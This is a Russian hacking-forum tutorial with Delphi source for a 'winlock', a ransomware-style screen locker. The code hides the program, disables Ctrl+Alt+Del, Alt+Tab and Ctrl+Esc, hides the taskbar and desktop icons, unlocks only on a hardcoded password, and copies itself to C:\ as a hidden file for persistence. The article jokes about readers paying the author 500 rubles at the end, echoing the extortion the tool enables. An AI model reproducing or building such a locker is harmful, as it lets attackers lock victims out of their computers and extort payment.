April 22 2021 03:16:25
Активаторы
         

         

          
· Новостей: 37
· Статей: 93
· Файлов: 52
· Изображений: 0
· Ссылок: 0
· Темы форума: 815
· Сообщений на форуме: 822
· Пользователей: 1534
· Комментарии: 507

Иерархия статей

Статьи » Мои статьи » winlock (delphi)
winlock (delphi)
happy-hack.ru/uploads/posts/2012-07/thumbs/1343145498_full-winlock2741.png
Чтобы написать данную программу нужно:
1. Delphi.
2. 2 руки.
3. Голова.
4. 500 рублей (которые в конце урока вы отошлёте мне)
Запускаем Delphi, кидаем на форму TImage (Чтобы загрузить картинку блокиратора) TEdit, TButton.

Начинаем кодинг!
Код:

procedure TForm1.CreateParams(var T : TCreateParams);
begin
inherited Createparams(T);
with T do
Style := (Style or WS_POPUP) and not WS_DLGFRAME;
end;

Выше написанный код, не обязателен.

Создаем событие OnActivate у Form1.
Пишем это:

Код:

procedure TForm1.FormActivate(Sender: TObject);
var
hTaskBar : THandle;
begin
Edit1.Clear;
//исключаем из списка ALT+CTRL+DEL
ShowWindow (Application.handle, SW_HIDE);
//Размер формы:=Размеру Экрана
form1.Height:=screen.Height;
form1.Width:=screen.Width;
//Отключаем ALT+CTRL+DEl ALT+TAB CTRL+ESC
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
//Убираем Панель задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE);
//Убираем Иконки с рабочего стола
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
end;
Ставим вводные символы в TEdit под звездочки.
Код:
procedure TForm1.Edit1Change(Sender: TObject);
begin
Edit1.PasswordChar:=’*';
end;

Можно конечно в Object Inspector выставить данный параметр, но буду придерживаться оригинальной статье.

Код:

procedure TForm1.Button1Click(Sender: TObject);
var
hTaskBar : THandle;
Password:string[10];
begin
Password:=edit1.text;
If (Password=’grabberz.com?) then
begin
//включаем alt+ctrl+del alt+tab ctrl+esc
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
//Показываем иконки на рабочем столе
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
//Показываем Панель Задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
//Закрываем прогу
Close;
end

Делаем проверку на правильность пароля:

Код:

else
begin
Messagedlg(‘Неверный пасс для разблокировки… введите коректный пасс…’,mterror,[mbok],0);
Edit1.Clear;
end;
Все. Как пишет автор оригинальной статьи, чтобы добавить программу в автозагрузку надо пользоваться этим:
Код:
CopyFile(PChar(ParamStr(0)), PChar('C:\'+ 'название винлока (любое название).exe'),True);
SetFileAttributes('C:\название винлока (любое название).exe', faHidden);


Автор статьи не я, я лишь исправил некоторые вещи, и исправил текст.
Ответственности за код не несу.

Рейтинг

Нет опубликованных рейтингов.

Рейтинг доступны только для пользователей.
Пожалуйста, авторизуйтесь или зарегистрируйтесь для голосования.


Авторизация
Логин

Пароль




Забыли пароль?
Запросите новый здесь.
3,093,658 уникальных посетителей